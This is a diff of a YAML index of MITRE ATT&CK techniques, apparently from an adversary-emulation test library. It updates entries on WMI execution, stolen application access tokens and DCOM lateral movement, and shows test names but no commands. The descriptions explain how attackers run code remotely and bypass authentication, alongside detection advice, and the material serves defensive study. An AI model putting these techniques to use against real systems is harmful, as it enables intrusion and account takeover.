-      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
-        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
-          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
-        source_name: FireEye WMI 2015
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-05-13T22:50:51.258Z'
+      name: Windows Management Instrumentation
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T23:58:07.715Z'
       created: '2017-05-31T21:30:44.329Z'
-      x_mitre_system_requirements:
-      - |-
-        WMI service, winmgmt, running.
-        Host/network firewalls allowing SMB and WMI ports from source to destination.
-        SMB authentication.
+      x_mitre_remote_support: true
+      id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055
       x_mitre_platforms:
       - Windows
-      x_mitre_remote_support: true
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
       - Administrator
+      description: |-
+        Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)
+
+        An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_contributors:
+      - "@ionstorm"
       x_mitre_detection: 'Monitor network traffic for WMI connections; the use of
         WMI in environments that do not typically use WMI may be suspect. Perform
         process monitoring to capture command-line arguments of "wmic" and detect
         commands that are used to perform remote behavior. (Citation: FireEye WMI
         2015)'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1047
+        external_id: T1047
+        source_name: mitre-attack
+      - source_name: MSDN WMI
+        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
+          April 27, 2016.
+        url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
+      - source_name: FireEye WMI 2015
+        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
+          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
+      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
+        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
+          4, 2020.
+        source_name: FireEye WMI SANS 2015
       identifier: T1047
     atomic_tests:
     - name: WMI Reconnaissance Users
@@ -68433,34 +70573,27 @@ execution:
 lateral-movement:
   T1550.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.001
-        url: https://attack.mitre.org/techniques/T1550/001
-      - external_id: CAPEC-593
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/593.html
-      - description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
-          APIs. Retrieved September 12, 2019.
-        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
-        source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
-          Sept 2019
-      - description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
-          September 12, 2019.
-        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
-        source_name: okta
-      - description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
-          Microsoft identity platform access tokens. Retrieved October 4, 2019.
-        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
-        source_name: Microsoft Identity Platform Access 2019
-      - description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
-          Retrieved October 4, 2019.
-        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
-        source_name: Staaldraad Phishing with OAuth 2017
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-09-02T17:18:55.891Z'
       name: Application Access Token
+      x_mitre_data_sources:
+      - 'Web Credential: Web Credential Usage'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.2'
+      created: '2020-01-30T17:37:22.261Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      x_mitre_defense_bypassed:
+      - System Access Controls
+      x_mitre_platforms:
+      - Office 365
+      - SaaS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
       description: |-
         Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.
 
@@ -68469,88 +70602,65 @@ lateral-movement:
         For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
 
         Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
-      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      modified: '2021-04-14T18:09:45.539Z'
-      created: '2020-01-30T17:37:22.261Z'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_defense_bypassed:
-      - System Access Controls
-      x_mitre_detection: Monitor access token activity for abnormal use and permissions
-        granted to unusual or suspicious applications and APIs.
-      x_mitre_data_sources:
-      - 'Web Credential: Web Credential Usage'
-      - 'Application Log: Application Log Content'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Shailesh Tiwary (Indian Army)
       - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
       - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
       - Mark Wee
-      x_mitre_platforms:
-      - Office 365
-      - SaaS
-      - Google Workspace
+      x_mitre_detection: Monitor access token activity for abnormal use and permissions
+        granted to unusual or suspicious applications and APIs.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1550/001
+        external_id: T1550.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/593.html
+        external_id: CAPEC-593
+        source_name: capec
+      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
+          Sept 2019
+        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
+          APIs. Retrieved September 12, 2019.
+        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
+      - source_name: okta
+        description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
+          September 12, 2019.
+        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
+      - source_name: Microsoft Identity Platform Access 2019
+        description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
+          Microsoft identity platform access tokens. Retrieved October 4, 2019.
+        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
+      - source_name: Staaldraad Phishing with OAuth 2017
+        description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
+          Retrieved October 4, 2019.
+        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
     atomic_tests: []
   T1175:
     technique:
-      revoked: false
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1175
-        url: https://attack.mitre.org/techniques/T1175
-      - source_name: Fireeye Hunting COM June 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
-        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
-          10, 2019.
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
-        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
-          22, 2017.
-        source_name: Microsoft COM
-      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
-        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
-          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
-        source_name: Microsoft COM ACL
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
-        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
-          Registry. Retrieved November 21, 2017.
-        source_name: Microsoft Process Wide Com Keys
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
-        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
-          Retrieved November 21, 2017.
-        source_name: Microsoft System Wide Com Keys
-      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
-        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
-          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
-          2018.'
-        source_name: ProjectZero File Write EoP Apr 2018
-      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
-        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
-          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
-        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
-      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
-        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
-          Application COM Object. Retrieved November 21, 2017.
-        source_name: Enigma MMC20 COM Jan 2017
-      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
-        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
-          2. Retrieved November 21, 2017.'
-        source_name: Enigma DCOM Lateral Movement Jan 2017
-      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
-        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
-          and DCOM. Retrieved November 21, 2017.
-        source_name: Enigma Excel DCOM Sept 2017
-      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
-        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
-          movement via DCOM. Retrieved November 21, 2017.
-        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
+      type: attack-pattern
+      name: Component Object Model and Distributed COM
+      x_mitre_version: '2.0'
+      modified: '2020-03-30T13:36:10.069Z'
+      created: '2018-01-16T16:13:52.465Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_deprecated: true
+      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
+      revoked: false
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: "**This technique has been deprecated. Please use [Distributed
         Component Object Model](https://attack.mitre.org/techniques/T1021/003) and
         [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries
@@ -68587,86 +70697,84 @@ lateral-movement:
         (DDE) execution directly through a COM created instance of a Microsoft Office
         application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing
         the need for a malicious document."
-      name: Component Object Model and Distributed COM
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-03-30T13:36:10.069Z'
-      created: '2018-01-16T16:13:52.465Z'
-      x_mitre_deprecated: true
-      x_mitre_version: '2.0'
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)
 
         Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.
 
         Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_platforms:
-      - Windows
-      x_mitre_remote_support: true
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1175
+        external_id: T1175
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
+          10, 2019.
+        source_name: Fireeye Hunting COM June 2019
+      - source_name: Microsoft COM
+        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
+          22, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: Microsoft COM ACL
+        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
+          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
+        url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
+      - source_name: Microsoft Process Wide Com Keys
+        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
+          Registry. Retrieved November 21, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
+      - source_name: Microsoft System Wide Com Keys
+        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
+          Retrieved November 21, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
+      - source_name: ProjectZero File Write EoP Apr 2018
+        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
+          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
+          2018.'
+        url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
+      - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
+        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
+          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
+      - source_name: Enigma MMC20 COM Jan 2017
+        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
+          Application COM Object. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+      - source_name: Enigma DCOM Lateral Movement Jan 2017
+        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
+          2. Retrieved November 21, 2017.'
+        url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
+      - source_name: Enigma Excel DCOM Sept 2017
+        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
+          and DCOM. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
+      - source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
+        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
+          movement via DCOM. Retrieved November 21, 2017.
+        url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
     atomic_tests: []
   T1021.003:
     technique:
-      created: '2020-02-11T18:26:36.444Z'
-      modified: '2020-03-23T20:21:03.684Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1021.003
-        url: https://attack.mitre.org/techniques/T1021/003
-      - source_name: Fireeye Hunting COM June 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
-        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
-          10, 2019.
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
-        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
-          22, 2017.
-        source_name: Microsoft COM
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
-        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
-          Registry. Retrieved November 21, 2017.
-        source_name: Microsoft Process Wide Com Keys
-      - url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
-        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
-          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
-        source_name: Microsoft COM ACL
-      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
-        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
-          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
-        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
-      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
-        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
-          Application COM Object. Retrieved November 21, 2017.
-        source_name: Enigma MMC20 COM Jan 2017
-      - url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
-        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
-          2. Retrieved November 21, 2017.'
-        source_name: Enigma DCOM Lateral Movement Jan 2017
-      - url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
-        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
-          and DCOM. Retrieved November 21, 2017.
-        source_name: Enigma Excel DCOM Sept 2017
-      - url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
-        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
-          movement via DCOM. Retrieved November 21, 2017.
-        source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Distributed Component Object Model
+      x_mitre_data_sources:
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-06-23T18:58:32.752Z'
+      created: '2020-02-11T18:26:36.444Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd
       description: |-
         Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.
 
@@ -68674,23 +70782,59 @@ lateral-movement:
 
         Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)
 
-        Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
-      id: attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Network Traffic: Network Connection Creation'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
+        Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
       x_mitre_detection: |-
         Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.
 
-        Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+        Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1021/003
+        external_id: T1021.003
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
+          10, 2019.
+        source_name: Fireeye Hunting COM June 2019
+      - source_name: Microsoft COM
+        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
+          22, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: Microsoft Process Wide Com Keys
+        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
+          Registry. Retrieved November 21, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
+      - source_name: Microsoft COM ACL
+        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
+          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
+        url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
+      - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
+        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
+          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
+      - source_name: Enigma MMC20 COM Jan 2017
+        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
+          Application COM Object. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+      - source_name: Enigma DCOM Lateral Movement Jan 2017
+        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
+          2. Retrieved November 21, 2017.'
+        url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
+      - source_name: Enigma Excel DCOM Sept 2017
+        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
+          and DCOM. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
+      - source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
+        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
+          movement via DCOM. Retrieved November 21, 2017.
+        url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
+      - source_name: MSDN WMI
+        description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
+          April 27, 2016.
+        url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
       identifier: T1021.003
     atomic_tests:
     - name: PowerShell Lateral Movement using MMC20
@@ -68720,26 +70864,48 @@ lateral-movement:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Exploitation of Remote Services
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1210
         external_id: T1210
-        url: https://attack.mitre.org/techniques/T1210
-      - url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
+        source_name: mitre-attack
+      - source_name: CIS Multiple SMB Vulnerabilities
         description: CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows
           SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.
-        source_name: CIS Multiple SMB Vulnerabilities
-      - url: https://nvd.nist.gov/vuln/detail/CVE-2017-0176
+        url: https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
+      - source_name: NVD CVE-2017-0176
         description: National Vulnerability Database. (2017, June 22). CVE-2017-0176
           Detail. Retrieved April 3, 2018.
-        source_name: NVD CVE-2017-0176
-      - url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
+        url: https://nvd.nist.gov/vuln/detail/CVE-2017-0176
+      - source_name: NVD CVE-2016-6662
         description: National Vulnerability Database. (2017, February 2). CVE-2016-6662
           Detail. Retrieved April 3, 2018.
-        source_name: NVD CVE-2016-6662
-      - url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
+        url: https://nvd.nist.gov/vuln/detail/CVE-2016-6662
+      - source_name: NVD CVE-2014-7169
         description: National Vulnerability Database. (2017, September 24). CVE-2014-7169
           Detail. Retrieved April 3, 2018.
-        source_name: NVD CVE-2014-7169
+        url: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-04-22T20:23:01.478Z'
+      x_mitre_system_requirements:
+      - Unpatched software or otherwise vulnerable target. Depending on the target
+        and goal, the system and exploitable service may need to be remotely accessible
+        from the internal network.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: lateral-movement
+      id: attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
 
@@ -68748,18 +70914,8 @@ lateral-movement:
         There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)
 
         Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.
-      name: Exploitation of Remote Services
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: lateral-movement
